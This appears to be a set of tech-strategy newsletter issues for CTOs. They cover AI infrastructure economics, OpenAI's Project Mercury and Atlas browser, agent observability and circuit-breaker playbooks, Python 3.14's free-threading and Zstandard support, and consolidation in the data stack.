Capex versus opex is the immediate decision point. If you treat AI infrastructure as capex, you’re locked in when technology shifts; stuck depreciating assets that are economically obsolete in 18 months. If you treat it as opex, tho, your CFO sees spiraling costs with no asset value. The right answer depends on which replacement cycle assumptions pan out. If model improvement continues at current pace, treat it as opex and preserve flexibility. If it plateaus, capex gives you predictable costs. Most CTOs are optimizing for this quarter’s budget conversation instead of next year’s architectural constraints. Don’t be one of them.

Multi-vendor strategies are mandatory. Anthropic’s capital efficiency means they’ll survive if funding windows close. OpenAI’s compute commitments mean they’ll have capacity if demand materializes. Your job isn’t picking the winner, it’s avoiding an all-in bet on either future. (Unless you’re company is exceptionally un-risk-adverse.) Abstract model selection behind orchestration layers, maintain fallback paths, and stress-test dependencies for scenarios where your primary vendor’s pricing power collapses or credit lines get pulled.

The second-order risk is Tier 3 collateral damage. If OpenAI or Anthropic stumbles, Microsoft and Amazon absorb it. If Nvidia’s inventory becomes writedowns, it cascades through every tier. Your SaaS vendors on Azure OpenAI or AWS Bedrock might face sudden price increases, service degradations, or forced migrations as underlying providers reprice risk. You can’t predict which tier fails first, but you can architect flexibility to survive any of them failing.

You’re not building on models. You’re building on a tier structure where economic value is trapped three layers below the API you’re calling, and the tiers above it are playing hot potato with credit lines. The round-tripping will continue until morale improves.

CTO Playbook: 30/60/90

Capital Risk Hedge

OKR: Structure your AI infrastructure strategy as a financial portfolio designed to hedge against depreciation fiction, vendor lock-in, and Tier 4 commoditization.

30 Days: Auditing and Cash Flow Resilience
Uncovering financial exposure stemming from GPU depreciation and vendor-subsidized debt.

• Recalculate Economic Obsolescence (CRITICAL)

  • Action: Re-evaluate your current AI infrastructure (GPUs, specialized hardware) using an 18-month economic life cycle instead of the standard 60-month depreciation schedule. Calculate the difference between the book value and the actual replacement value.

  • Goal: Present the CFO with the true, accelerated depreciation liability to force a conversation about treating AI infrastructure as OPEX, not CAPEX.

• Audit Vendor Subsidies (HIGH)

  • Action: Analyze all cloud credits and multi-year compute commitments received from Tier 3/4 vendors (Microsoft, Google, Anthropic). Determine the cash cost if those vendors pulled their investment/subsidy lines or repriced their services overnight.

  • Goal: Identify where your application’s current unit economics are being falsely subsidized by the vendors’ round-tripping capital, which creates the highest operational risk.

• Abstract Model Selection (HIGH)

  • Action: Mandate that all new AI applications and workflows be abstracted behind a standard orchestration layer (e.g., LangChain, custom service). Ban hard-coded API dependencies on a single Tier 4 model (e.g., GPT-5.1 Thinking).

  • Goal: Hedge against Tier 4 commoditization. Ensure the business can rapidly switch models when a better, cheaper alternative (like Qwen, or a new Anthropic release) emerges, preserving model choice and negotiating leverage.

□ 60 day: Tier-Agnostic Architecture & Flexibility
Architectural bets prioritizing portability & resilience against specific Tier collapse (2, 3, or 4).

• Build a Compute Arbitrage Strategy (MEDIUM HIGH):

  • Action: Begin piloting non-hyperscaler compute options (e.g., Oracle, specialized GPU cloud providers, bare metal) for non-critical workloads.

  • Goal: Develop an internal capability to arbitrage GPU scarcity and pricing outside of the primary Tier 3 vendors (Microsoft/Amazon), hedging against a structural collapse of Nvidia’s pricing power.

• Define a Multi-Vendor Model Strategy (MEDIUM)

  • Action: Formally designate fallback models for critical business functions. For every Tier 4 model used, identify a Tier-4 competitor and an Open Source/Fine-Tuned model as a viable contingency path.

  • Goal: Avoid an all-in bet on either the OpenAI (Scale) or Anthropic (Efficiency) ideological future, ensuring survival regardless of who wins the capital race.

• Inventory Stranded Assets (MEDIUM)

  • Action: Document all current and future multi-year cloud commitments and hardware leases. Calculate the stranded capital liability if model improvement stops or Tier 4 differentiation completely evaporates in the next 12 months.

  • Goal: Prepare for the possibility of a large write-down and maintain the flexibility to avoid new long-term commitments.

□ 90 Days: Structural Investment & Value Capture
Long-term investment in the stable layers of the value chain: Tier 1 (Capability) & Tier 5 (Apps)

• Invest in Tier 5 Value Capture (HIGH STRATEGY)

  • Action: Shift development resources away from optimizing model calls (Tier 4) toward integrating AI into proprietary workflows and distribution channels (Tier 5).

  • Goal: Ensure your applications capture the final, sustainable margin in the value chain, making your business resilient regardless of which model vendor survives.

• Initiate Industrial Capability Planning (MEDIUM STRATEGY)

  • Action: Begin preliminary analysis on the long-term utility of physical infrastructure (datacenter leases, power infrastructure, cooling). Analyze these assets as deca-long investments rather than three-year compute investments.

  • Goal: Align your spending with the lasting value identified in the section—the industrial capability itself—not the transient value of the GPU or the model.

• Hedge the Crypto-AI Cascade (LOW STRATEGY)

  • Action: If your business has exposure to crypto (either through payments, treasury, or investment), run a stress test simulating a 40% drop in Nvidia stock (triggering loan defaults) followed by a 50% crash in Bitcoin (the cascade risk).

  • Goal: Be prepared for the systemic, narrative shock where AI infrastructure bets and crypto leverage collapse together, disrupting capital markets and investment windows.

The Bottom Line

Your infrastructure stack is not a technology decision; it is a financial arbitrage bet against market reality. You are wagering that the GPU you buy today, which will be economically obsolete in 18 months, will generate enough Tier 5 revenue before its replacement is required. This calculation fails every stress test. The value is not in the models you call or the GPUs you buy. It is trapped in Tier 1 (fabrication) and the industrial capability itself.

The final reveal is that the structural mismatch, where infrastructure is treated as CAPEX on paper but demands OPEX flexibility operationally, guarantees a massive, systemic writedown when depreciation schedules collide with replacement reality. You cannot build a multi-year business on a system predicated on accounting fiction.

Your job is not to pick the winner between OpenAI and Anthropic, but to survive the inevitable capital correction. Treat AI infrastructure as OPEX to preserve the flexibility to swap hardware on an 18-month cycle. Shift resources from Tier 4 (model tinkering) to Tier 5 (proprietary application value), which is the only place margin is captured sustainably. The entire ecosystem is operating on a high-leverage credit line called “narrative convexity.” The moment the music stops, you need to ensure your Tier 5 applications are generating enough real economic value to pay the bills for the infrastructure Tier 3 subsidized. If you haven’t captured Tier 5, you’re just another creditor in the collapse.

The round-tripping will not stop until morale improves, or until the market finally sends the writedown large enough to force reality onto the balance sheets.

To attend CTO Lunches, please register at ctolunches.com and choose NYC as your city.

It’s a perfect juxtaposition: at the very moment we celebrate our ability
to save everything, we also prove we can’t keep it all running.

A trillion pages doesn’t even include Archive’s book collection (smaller now after this year’s copyright ruling), but the irony holds either way. We’ve reached peak data abundance and yet find ourselves scraping the bottom of the internet’s barrel for more. Foundation models have eaten nearly all public text, and the world is starting to look like a starving AI engineer stumbling home at 3am to find DoorDash done, the fridge empty, and the training run still demanding more data. (Why can’t Mel’s be open until 3:00 every night? But even NYC isn’t 24/7 anymore.) Early architecture promised it just needed more data, more GPUs, more data centers, never mind the water; we’re manufacturing each of them fast as humanly possible, but the big question remains: what happens when models ‘finish’ training and start taking action?

The AI Rloveution

What comes after prediction: when models begin to decide and take action?

If Microsoft’s big ‘reveal’ this month seemed obvious, that every Windows 11 machine is becoming an AI PC (with voice-chatting Copilot, screen-sharing, and permissioned task execution) and users will no doubt welcome the convenience, what this really is, is infrastructure for delegation: the extended substrate our apps will run on. Windows isn’t just adding AI features; it’s becoming an agentic operating system where the UI is increasingly a suggestion layer between the user and autonomous execution. How are you building your apps for this coming age of intent delegation infrastructure?
(Hint: make sure they are machine-discoverable, well-permissioned, & context-aware.)

Apple, not surprisingly, is taking an ‘opposite’ approach. While Microsoft bets on cloud-connected AI everywhere, Apple’s M5 Neural Engine (ANE) represents a different thesis: on-device, post-foundational, AI as UX, reframing the question from how big can you go to how close can you get? And M5’s ANE improvements are genuinely impressive: more cores, better power efficiency, dramatic throughput gains that should enable on-device AI capabilities, making cloud inference look quaint. We live in hope.

Except there’s a problem: Apple’s hardware teams are lapping their software teams, and it’s unclear if this is by design or dysfunction. The ANE still doesn’t have a native programming model. If you want to use it directly, you’re routing through CoreML, wrapping models in Apple’s proprietary format and hoping the compiler makes sensible optimization decisions. MLX, the closest thing to a modern deep learning framework for Apple Silicon, doesn’t even use the neural engine. ANE Transformers exist as a library, Apple’s Foundation models leverage ANE, but if you’re doing custom model work you’re navigating undocumented APIs and hoping you don’t fall off performance cliffs. (Or real ones. Speedy recovery, Kevin!)

While Apple treats ANE programming like a state secret, NVIDIA is publishing CUDA docs like they’re running a university press. The result is bizarre: Apple’s own apps get blazing-fast on-device inference while third-party developers either hit the cloud or accept 10× slower performance using CPU/GPU instead of ANE. (IOW, their usual tricks.) M5 has all the nuts and bolts but isn’t exactly prêt-à-porter for developers who want to ship production AI features. (M6 is supposed to fix this.)

Gruber once said: “All things considered I’d much prefer a PC running Mac OS X to a Mac running Windows.” Fifteen years later, we’re in the mirror world: the hardware is spectacular, the software story is a mess, and developers are left wondering if Apple can actually succor a third-party AI ecosystem or just wants it all to themselves.

OpenAI Season

Restructuring into a $500B public benefit corporation was just the opening act. Microsoft walked away with a 27% stake ($135B), $250B in guaranteed Azure revenue, and rights to OpenAI’s IP until AGI or 2030; the kind of circular round‑tripping that makes accountants twitch. Within a week of Microsoft’s right-of-first-refusal expiring, OpenAI had announced a $38B, seven-year cloud deal with AWS, asserting leverage before anyone could react. Meanwhile $2.5B in stock comp flowed to ~3,000 employees (a jaw-dropping~$830K per person in six months), prompting one CTO to note that OpenAI is effectively “a hedge fund that trains neural networks.”

Lawrence Lessig’s amicus brief on behalf of 12 ex-employees raises uncomfortable questions about sustainability, but this act isn’t going to be about the corporate drama. It’s about what OpenAI is launching while everyone watches that soap opera.

Project Mercury: Launch != Escape Velocity

Project Mercury is OpenAI’s play for Wall Street, and it’s smarter than generally acknowledged. They’re hiring contractors at $150/hr to train AI on investment banking workflows: IPO modeling, M&A comps, deck reformatting, the grunt work that defines junior analyst life. The insight is simple: whoever wins financial services AI wins enterprise AI. Banks spend hundreds of millions annually on work that’s structurally formulaic. 50% automation = easily $100M annual savings for a large bank, but the real prize is talent arbitrage: senior bankers freed from deck hell can do higher-value work.

The competitive landscape is dotted with the usual suspects. Bloomberg’s AI Terminal leverages decades of proprietary financial data and existing trader workflows; their moat is data access and terminal lock-in. Palantir Foundry already owns complex data integration at major banks; they can add AI features to existing deployments without ripping and replacing infrastructure. Google and Microsoft are pushing Vertex AI and Azure OpenAI respectively, bundling AI capabilities with cloud contracts banks already have.

Here’s where it gets messy for OpenAI: Microsoft’s Azure OpenAI is OpenAI’s models, which means Microsoft is simultaneously OpenAI’s distribution partner and their direct competitor. Banks already paying for Azure can add OpenAI capabilities without a new vendor relationship, they just route through Microsoft. But this is precisely why Project Mercury matters strategically. The $250B Azure revenue guarantee gives OpenAI distribution, but it also creates existential risk: what happens when Microsoft launches “Copilot for Investment Banking” using the same underlying models? Project Mercury is OpenAI’s answer: build such deep domain expertise in financial workflows, through intensive contractor training, proprietary deal data, and operational refinements, that Microsoft can’t simply replicate it by fine-tuning base models.

Every month Project Mercury trains on real investment banking workflows is another month of domain knowledge that doesn’t exist in the base GPT-5 model Microsoft has access to. The goal is to achieve escape velocity: make OpenAI’s banking AI so specialized, (and so operationally refined) that Microsoft would need 18+ months and hundreds of millions to catch up, by which time OpenAI has already captured the enterprise accounts and reached a stable orbit beyond Redmond’s gravitational pull. It’s a brilliant hedge: use Microsoft’s distribution to win customers, but build proprietary domain expertise they can’t easily replicate. The $250B Azure guarantee keeps Microsoft happy in the short term. Project Mercury success ensures OpenAI doesn’t need Microsoft in the long term.

Then there’s Farsight AI, a recent Series A company operating in a different but intersecting orbit. They’re already shipping, automating investment banking deliverables (decks, CIMs, DCF modeling) targeting the same massive cost savings OpenAI is chasing. But while OpenAI is building domain expertise (training models on real banking workflows to understand deal structure, comps logic, output quality), Farsight is building production systems (solving how to reliably generate complex financial documents at scale under deadline pressure.) While OpenAI is still hiring contractors to build training data, Farsight is already live with customers. The challenges aren’t about model capabilities; they’re about operational reliability; not considered as sexy a problem, but the very real difference between a demo and a product. With a catch more like a law of conservation than Jevons Paradox: If the system requires even a small amount of high-cost senior banker time to QA, it can easily erase the savings gained by automating many hours of low-cost junior banker time, and the ROI collapses. The unsexy truth: production AI for financial services is 20% model quality and 80% operational reliability. And 0% trust.

For Farsight, the strategic window is clear; they’re already solving operational challenges, already have customer relationships, already iterating on real feedback. While OpenAI navigates the complexity of contractor training and Microsoft partnership dynamics, they can capture market share by simply reaching operational altitude first. But this is hare vs. hare, not tortoise vs. hare. OpenAI would seem to have better resources, better models, better brand. If they execute reasonably well, they can win. Farsight’s advantage is execution speed and customer proximity:
if they can lock in relationships while OpenAI is still navigating contractor training, Microsoft politics, and figuring out what banks actually need, that’s a real window.

The winner in financial services AI won’t necessarily be the company with the best foundational model; it’ll be whoever achieves sustainable orbit first: trust, integration, and operational reliability that works at scale.

CTOs should watch this closely, not just to see who wins, but to understand the playbook. This is your preview of how 2026 enterprise AI budgets get allocated: not to the best technology, but to whoever achieves escape velocity on execution and trust fast enough to matter. The question isn’t about benchmarks or launch announcements let alone who has the biggest or most recent model; it’s about sustained flight in the operational trenches where production AI actually happens.

Atlas Shrugged

ChatGPT Atlas went GA for macOS (on 10/21) with Android pending. On the surface, it looks like yet another Chromium fork joining Comet and Dia in the AI browser waiting room. Except OpenAI isn’t building a better browser. They’re building distribution control before the model layer commoditizes entirely. (The Interzone, so to speak between tier 4 and tier 5.)

The browser question isn’t “why does OpenAI need one?” It’s “what happens when the browser disappears entirely?” Elon recently prognosticated that future devices will become pure delivery mechanisms for custom AI-generated (video) content. Instant, personalized, generated on-demand. If he’s right, the browser as we know it, tabs, bookmarks, URLs, becomes vestigial. What replaces it is something closer to a *viewport*: a window where AI assembles information, media, and interaction surfaces dynamically, on the fly, tailored to your personal context.

Whoever controls that viewport controls distribution.

OpenAI isn’t competing with Chrome on features. They’re positioning for a world where the browser is the last middleware layer between users and AI-generated reality. Whoever controls that viewport controls distribution. Whoever controls distribution decides which models get used, which data gets accessed, which experiences get prioritized.

Think about what’s already changing: you don’t browse Reddit anymore, you ask ChatGPT to summarize it. You don’t search for restaurants, you ask Claude to plan dinner. The browser as a *place you go* is being replaced by the browser as a *thing that assembles answers.* Atlas is OpenAI’s bet that when the web becomes something AI reads *for* you instead of *to* you, you want to own the viewport doing the reading.

Arc tried to reimagine browsing and failed (though they had a successful exit) because they built a product for a market that didn’t exist yet. Dia hasn’t even launched. Atlas might succeed not because it’s “better” per se, but because it’s infrastructure for the agentic web, not a feature-packed browser for humans who still think in tabs.

Secret Agent Man

40% of agentic AI projects will fail by the end of 2027. [Gartner] That doesn’t mean agentic is over; quite the opposite really: Karpathy went so far as to say the coming 10 years will be the agentic decade and explicitly *not* the decade of AGI’s imminent arrival. Whelp, I guess that gives me a lot longer to finish my book.

For the past two years, enterprises treated agent pilots as sandboxes: promising but unproven. Now, it’s time these pilot graduate to production, and CFOs are asking the tough questions: “What is the measurable ROI?” and “Why does this cost more than three FT developers?” The projects that fail aren’t the ones that don’t work, but the ones that can’t articulate their value in a way that survives budget review.

It’s a familiar pattern. Remember when every company needed a blockchain strategy? The tech worked fine(ish). The projects got canceled because no one could explain why a database with extra steps was worth the architectural complexity. Agentic AI is about to hit the same filter, and the survivors will be the ones that can draw a straight line from “AI agent deployed” to “measurable business outcome achieved.”

Organizations that understand the difference between dataflow and runtime are the ones shipping more successful agents.

While everyone argues about AGI timelines, the real, foundational battle is happening at the infrastructure layer. The emerging pattern is clear: organizations that understand the difference between dataflow and runtime are the ones shipping more successful agents. Those that don’t are six months into “building our agentic platform,” only to discover their architecture cannot actually support the production use cases they promised their leadership.

Anthropic’s recent (10/16) Agent Skills framework provides a concrete example of runtime thinking in action. Rather than treating agent context as an undifferentiated blob, Skills uses progressive disclosure: agents load only the context they need, when they need it, creating an inherent audit trail. Each skill directory becomes a versioned, reproducible unit of agent behavior: you can reconstruct exactly which context was loaded and when. Skills separate stochastic reasoning (the SKILL.md instructions) from deterministic execution (bundled Python scripts), giving you the reliability production systems demand. And because skills are portable across Claude.ai, Claude Code, and the API, they thread the needle between ‘lightweight framework’ and ‘full-stack runtime’ (opinionated about structure without locking you into a single platform.) Most importantly, skills codify iterative learning: when an agent fails, you capture what went wrong directly into the skill’s context, preventing yesterday’s failures from recurring tomorrow. It’s exactly the kind of architecture that survives budget review because you can point to the SKILL.md file and say ‘here’s what it did and why.’

The infrastructure choices reveal a market split: established enterprises with existing orchestration platforms tend to embed lightweight frameworks like LangChain into their current workflows, while agent-first startups building products where the agent is the core increasingly reach for full-stack platforms (Mastra) providing a dedicated runtime environment, offering the stability and control a complex agent system requires: reproducible decision paths, traceable reasoning, and policy enforcement baked into the execution layer; not just seeing what the agent did, but reconstructing why it did that, and proving it to auditors, stakeholders, or your most suspicious CFO.
The choice tells you almost everything about whether a company is shipping an experimental feature or a scalable, production-ready product. And the tension (framework vs runtime) feels like a classic library-vs-framework tug-of-war, scaled out to autonomous systems.

Industry Impact

Here’s where Observability 2.0 comes in. Traditional observability (logs, dashboards, simple monitoring) was built for predictable pipelines (not to mention the ETL era.) It tells you what happened, sometimes when, rarely why. Agentic AI, however, is autonomous, stochastic, and constantly adapting. Execution debt isn’t about broken code; it’s about trust. Can you explain why the agent acted as it did? Can you reproduce success across contexts? Can you prevent yesterday’s failure from recurring tomorrow?

Execution debt isn’t about broken code; it’s about trust.

The agentic era introduces a new kind of technical debt: execution debt. Traditional debt is about messy code; execution debt is about trust. When your agent acts, can you explain why? When it fails, can you prevent it next time? When it works, can you reproduce the reasoning that led there? Companies treating agents as “better APIs” are accruing execution debt fast. The refactor bill comes due when:

• Your agent hallucinates in production and deletes customer data

• Compliance asks for an audit trail, and you don’t have one

• The agent’s reasoning shifts and no one knows why

• You upgrade models but can’t prove behavior stays consistent

The survivors will build observability into the stack from day one. Not logging. Not monitoring. (Modern) Observability. aka O11y 2.0. The ability to reconstruct an agent’s reasoning, trace decisions to data & prove it stayed within policy. Because when your secret agent man says he sees everything, he’d better have the dashboard to prove it.

CTO Playbook: 30/60/90

• Implement Agent Observability* Stack: (HIGH PRIORITY - 30 days)
  Deploy structured logging for all agent actions with: (1) decision trace (inputs, reasoning chain, outputs), (2) action audit trail (what was executed, when, by which agent, under what permissions), (3) rollback metadata (pre-action state snapshots). Minimum: OpenTelemetry tracing with agent-specific spans, persistent storage for 90 days, dashboard showing agent decision paths. Deliverable: Working observability dashboard showing last 1000 agent actions with full trace reconstruction.
  *(Observability here meaning Modern Observability aka O11y 2.0)

• Document Agent ROI by Use Case: (HIGH PRIORITY - 30 days)
  Create spreadsheet mapping each agentic project to measurable outcomes: hours saved per week, cost per hour, annual savings, implementation cost, payback period. Require project leads to fill this out for every agent pilot. Deliverable: One-page ROI summary per agent showing break-even timeline and monthly cost/benefit. Template: “Agent X saves Y hours/week at $Z/hour = $ABC annual savings vs $DEF implementation cost = F-month payback.”

• Architecture Decision Record: Pipeline vs Runtime: (HIGH PRIORITY - 30 days)
  For every agentic use case in development, document the architectural decision: stateless pipeline (orchestrated by external scheduler, no persistent state) or stateful runtime (long-lived process, maintains context). Reject any proposal that tries to do both. Deliverable: ADR template with decision criteria, one completed ADR per active agent project, sign-off from technical lead.

• Implement Agent Circuit Breakers: (HIGH PRIORITY - 30 days)
  Add safety controls to all production agents: (1) action approval thresholds (auto-execute <X,requirehumanapproval>X, require human approval > X,requirehumanapproval>X), (2) rate limits per agent per time window, (3) automatic rollback for failed actions, (4) manual kill switch accessible to ops team. Deliverable: Code PR implementing circuit breaker middleware, runbook for ops team on how to kill rogue agents, test results showing rollback works.

• Create Agent Discovery Manifest: (MEDIUM PRIORITY - 60 days)
  For each application feature you want agents to invoke, publish a machine-readable manifest: endpoint URL, required parameters with types, permission scopes needed, expected response format, example requests. Format: API spec + permission matrix. Deliverable: /agent-manifest.json endpoint serving your app’s capabilities, test showing Windows Copilot or Claude can parse and invoke your API.

• Audit Agent Runtime Compatibility: (MEDIUM PRIORITY - 60 days)
  Test your agents across target runtimes (Windows Copilot, Apple Intelligence, Atlas, web browsers). Document: which features work, which degrade, which fail completely. Create compatibility matrix. Deliverable: Test suite running agents in each target environment, spreadsheet showing feature parity across runtimes, prioritized backlog of compatibility fixes.

• Run Build-vs-Buy Analysis for Vertical AI: (MEDIUM PRIORITY - 60 days)
  If you’re in finance, legal, accounting, or consulting, research vendor offerings targeting your vertical (OpenAI Mercury for banking, Harvey for legal, etc.). Document: vendor capabilities, pricing, data residency requirements, differentiation risk if competitors use same tool. Deliverable: Decision memo with recommendation (build in-house vs adopt vendor solution) backed by total cost of ownership analysis.

• Establish Agent Testing Pipeline: (MEDIUM PRIORITY - 60 days)
  Create automated test suite for agents covering: permission boundary violations (can agent access data it shouldn’t?), failure mode handling (what happens when API is down?), degraded functionality (does agent fallback gracefully?). Run in CI before any agent deployment. Deliverable: Test suite with minimum 80% coverage of agent code paths, CI integration blocking deploys on test failures, weekly test report showing agent behavior stability.

ROI Calculator - Knowledge Work Automation Risk:

• Junior IB analyst comp: $200K base + benefits = $250K per FTE

• Typical analyst output: 15-20 models/decks monthly (high vol)

• Project Mercury automation: 40-60% workflow reduction

• Displaced headcount: 2-3 junior FTEs per senior banker

• Cost impact: $500-750K annual savings per senior banker team

• Your organization: How many high-value repetitive workflows exist? Multiply by potential 40-60% automation to estimate exposure

Technical Specs: Agent Skills (Anthropic, Oct 2025)

• Progressive Disclosure Architecture: 3-tier lazy loading (YAML frontmatter preload → on-demand SKILL.md read via bash tool → conditional linked file fetch); context window overhead: 50-200 tokens per skill metadata vs 2K-10K full load; filesystem-based discovery eliminates hard context limits; skill triggering via read operation creates immutable load timestamps

• Reproducible Decision Paths: Git-trackable skill directories; deterministic Python/bash script execution bypasses token generation for sorting/parsing ops (10-100x latency reduction); SKILL.md → executable docs with semantic versioning; diff-able instruction changes enable A/B testing of agent behavior

• Platform-Agnostic Runtime: Cross-environment portability (local fs, Claude.ai storage, API mounts); no vendor lock-in: skills are markdown + code, not proprietary format; separates LLM reasoning layer from execution layer (Python subprocess calls); compatible with MCP server integration for external tool access

• Iterative Failure Prevention: Post-execution skill mutation—agents rewrite SKILL.md based on trajectory analysis; failure patterns codified as negative examples in skill context; zero-shot transfer of learned behaviors across sessions; eliminates need for separate fine-tuning or RLHF for domain adaptation

Bottom Line

The central tension between peak data abundance (exemplified by Archive’s trillion pages) and system fragility (worst AWS outage ever) forces a bifurcated architectural choice: either Microsoft’s Agentic Substrate where AI acts as an OS service of delegation to manage fragility, or Apple’s On-Device Integrity to achieve a local, non-brittle solution aimed at avoiding the dark cloud. The true commercial battleground, however, is being staked out by OpenAI, which aims to control both the user’s primary assembly point for reality (the Atlas viewport) and become the most precise automation engine for high-value workflows (Project Mercury). The winners in this revolution will be those who control these execution chokepoints, reliably orchestrating human intent regardless of which underlying thesis prevails.

Subscribe now

🐍 Python Sheds Its Skin

Python 3.14 landed with features that sound like big wins: built-in Zstandard compression, significant improvements to the typing module, and official support for PEP 703 (no GIL), experimentally introduced in 3.13. The inclusion of Zstandard is an immediate, practical win for cost savings and latency. For CTOs with data pipelines that move terabytes daily, an instant 10x speedup and 3.3x smaller files compared to gzip is long overdue. But let’s be honest: Python is arriving fashionably late to a party Go and Rust attended years ago, and it’s acting like it invented the hors d’oeuvres.

Free-threaded Python is a tectonic shift. While this feature was an optional build in Python 3.13, the RIP GIL moment is no longer experimental as of 3.14. And while we’d love free-threaded execution to be a celebration of real, multi-core concurrency, truth be told, it’s more of a warning about ecosystem fragmentation. Of the top 360 most-downloaded PyPI packages with C extensions (the ones that matter for performance), only 128 (35%) support free-threaded wheels. You can compile and run python3.14t today, but if your critical dependencies don’t support it, you’re back in GIL-land anyway, without concurrency. At least the experiment is over.

NB. If you import a single C extension module (eg. pinned to older version) not marked as thread-safe, the interpreter re-enables the GIL for the entire process.

This ecosystem gap reveals the core conflict: Python is simultaneously dominant (ML, data pipelines) and stagnant (concurrency, modern typing). The language has modern syntax like async/await and match statements, and continues to make incremental type progress with improvements to the typing module in 3.14. Major projects use strict MyPy enforcement. But as one CTO put it: “Type annotations in Python still feel like mere suggestions.”

This connects directly to our “types as AI infrastructure” thesis. TypeScript treats types as contracts enforced at compile time. Python treats types as documentation enforced at runtime (if you remember to add validation.) For human developers, this is an annoyance. For AI agents generating code, it’s catastrophic. An agent can confidently generate thousands of lines of code that pass static checks, integrate across multiple services, only to explode in production, a level of failure no CTO, enterprise or not, can tolerate. (Or unit test can predict.) The philosophy of Python (”we trust the developer”) breaks down when the developer is a confidently hallucinating AI. The modern app stack is converging to provide end-to-end type safety as infrastructure for AI development. The fact that Mastra was explicitly created in TypeScript because its founders couldn’t build reliable, type-safe, event-driven agents in Python speaks volumes.

Not “taking sides” here but JTN: Python lets agents confidently hallucinate across your production stack, TypeScript forces them to prove every step before deployment. For a CTO, that’s the difference between a minor bug and a multi-service outage that costs millions. (Spoiler: use them together.)

In a odd coda to all this, the Python Software Foundation declined a $1.5M NSF grant over ideological disagreements regarding its DEI requirements. The grant included language requiring recipients to not operate programs that adhere to specific DEI ideologies, which the foundation was not inclined to comply with. The lesson for CTOs isn’t about the policy; it’s about community governance. Python’s strength is its independence, but that independence can ofc be a liability when it comes to funding long-term development. If a community can’t agree on basic financial decisions, what happens when it needs to make high-stakes, technical architecture decisions to keep up with the competition? Python declined $1.5M because no one could agree on the indentation rules for morality; a billion lines of code later: still arguing about whitespace. 🕶️

Bottom Line

Python has long been the language of AI development, but its community-governed evolution creates a structural contrast with patron-backed languages like TypeScript. (Or Rust, where platinum corporate sponsors get board votes.) This isn’t about technical quality, both languages remain critical to the modern agentic stack, but about the operational imperative to upgrade, and acceleration.

TypeScript’s corporate backing (Microsoft, Google, and others) creates business-critical dependencies on its evolution. Features like compile-time type safety aren’t optional niceties; they’re infrastructure requirements that prevent catastrophic failures at scale. For teams building on AI-native SDLCs, staying current with TypeScript isn’t a choice, it’s a competitive necessity baked into the development process itself.

Python’s community governance model, by contrast, means beneficial features land when the ecosystem supports them, not when business timelines demand it. Data science teams upgrade when convenient because Python’s evolution, while valuable, rarely creates the same structural imperative. The language’s principled independence, including its selective approach to funding, preserves autonomy but shifts the burden of maintaining competitive advantage onto individual organizations rather than embedding it in the language’s evolutionary trajectory.

Upgrading Python to 3.14 is exciting in theory, but for real-world, agentic pipelines, the practical gains are largely symbolic.

Python 3.14’s headline features, GIL removal, Zstandard compression, improved typing, illustrate this perfectly. They’re technically interesting but deliver minimal practical gains. The GIL removal promises true multi-core concurrency, yet is largely unsupported. Zstandard compression might save $1,000 annually for a workflow transferring 1GB daily on AWS but that’s hardly enough to break out a ROI calculator, let alone drive urgent migration. Though that does scale linearly, so figure $100K savings for 100GB/day (while updating Docker images, validating CI/CD pipelines, and running compatibility checks for somewhat marginal infrastructure gains.)

While Python 3.14 may or may not give you any appreciable savings on your AWS bill (depending on your data usage), it can definitely be helpful in places where you’re running into rate limits set by Enforced Network Bandwidth Quotas. In which case cutting your guest traffic down to 1/3 of what it was looks pretty good.

But apart from catching up to features found in other languages for some time, there’s little to no business imperative to upgrade, which may echo why organizations lingered on deprecated Python 2.7 for over a decade. This stands in stark contrast to the modern agentic app stack, where corporate patronage (eg., as noted, Rust Foundation corporate sponsors have votes on the board while Python foundation corporate sponsors do not) and powerful structural incentives create existential pressure: stay current or fall catastrophically behind. Python, for all its capabilities, just doesn’t operate on that clock.

Subscribe now

RIP The Modern Data Stack

The Modern Data Stack either died or collapsed into itself this month, depending on whether you’re counting bodies or market caps. Fivetran and dbt are merging in an all-stock deal estimated at potentially over $10 billion, combining Fivetran’s 500-600M ARR against $5.6B valuation with dbt’s 100M ARR against $4.2B valuation. Supabase acquired Triplit, an offline-first database, continuing their quiet march toward becoming the full-stack infrastructure platform for developers who hate AWS. But the Fivetran-dbt merger is the story that matters, because it’s either the final consolidation of the Modern Data Stack or its death certificate.

The Inevitable Vertical Integration

Ingestion and transformation were always going to consolidate. The only question was which would absorb which. Turns out when one company has 5x the revenue of the other, the answer is generally straightforward. Previously, Fivetran acquired Census (reverse-ETL) and Tobiko (SQLMesh, a dbt alternative). Now they’re combining with dbt itself, creating a vertically integrated data pipeline platform that controls everything from source extraction to warehouse transformation. Is this 🦋 synergy, or a monopoly formation with better PR?

For CTOs evolving your company’s DataOps, this means SQLMesh is almost certainly dead. They won’t kill it outright, that would alienate the existing user base and trigger antitrust scrutiny, but expect them to stop adding features, making a switch to dbt not just necessary to keep up with data stack evolution but potentially an easier migration using Fivetran’s tooling. Classic acqui-kill playbook: inherit the users, sunset the product, convert them to the winner. Here we are again.

The other question is what happens to dbt-core (the open-source version) versus dbt Fusion (the commercial product). Fivetran has every incentive to push users toward the commercial version, which means dbt-core will either stay frozen at its current feature set or get “community-driven development” (read: slow death by benign neglect, another playbook classic.) If you’re building on dbt-core, start planning your migration strategy now before the decision gets made for you.

Snowflake’s pg_lake Counterplay

The same month as the Fivetran-dbt announcement, Snowflake released pg_lake: Postgres-compatible lakehouse formats. Not a coincidence. Fivetran-dbt consolidates the transformation layer. Snowflake’s pg_lake attacks the storage layer by making Postgres compatible with lakehouse formats (Iceberg, Delta, Hudi). The battle being fought: who owns the SQL interface? Fivetran-dbt wants to own the transformation SQL that runs in your warehouse. Snowflake wants to own the storage SQL that defines what a warehouse is.

If Postgres becomes the universal interface for lakehouse formats, Snowflake’s proprietary warehouse becomes one option among many rather than the default. Making Postgres compatibility a first-class feature is their hedge against commoditization. The subtext is clear: Snowflake sees the writing on the wall and is trying to stay relevant in a world where open formats (Iceberg, Parquet) eat proprietary warehouses.

DuckDB: The Quiet Assassin

While everyone’s watching the Fivetran-dbt merger, DuckDB is quietly tryna make the entire Modern Data Stack obsolete. Not through acquisition or market consolidation, but by solving the problem so elegantly that the stack becomes unnecessary.

DuckDB is an embedded analytical database that runs in-process. No server. No network calls. No connection pools. Just a library you import that can query Parquet files on S3, CSV files on disk, or Pandas DataFrames in memory, all using standard SQL. It’s SQLite for analytics, and it’s faster than most data warehouses for queries under 100GB.

The implications are staggering. The Modern Data Stack assumes you need:

• Fivetran to ingest data into a warehouse

• dbt to transform data inside that warehouse

• Snowflake/Databricks to store and query that data

• A BI tool to visualize it

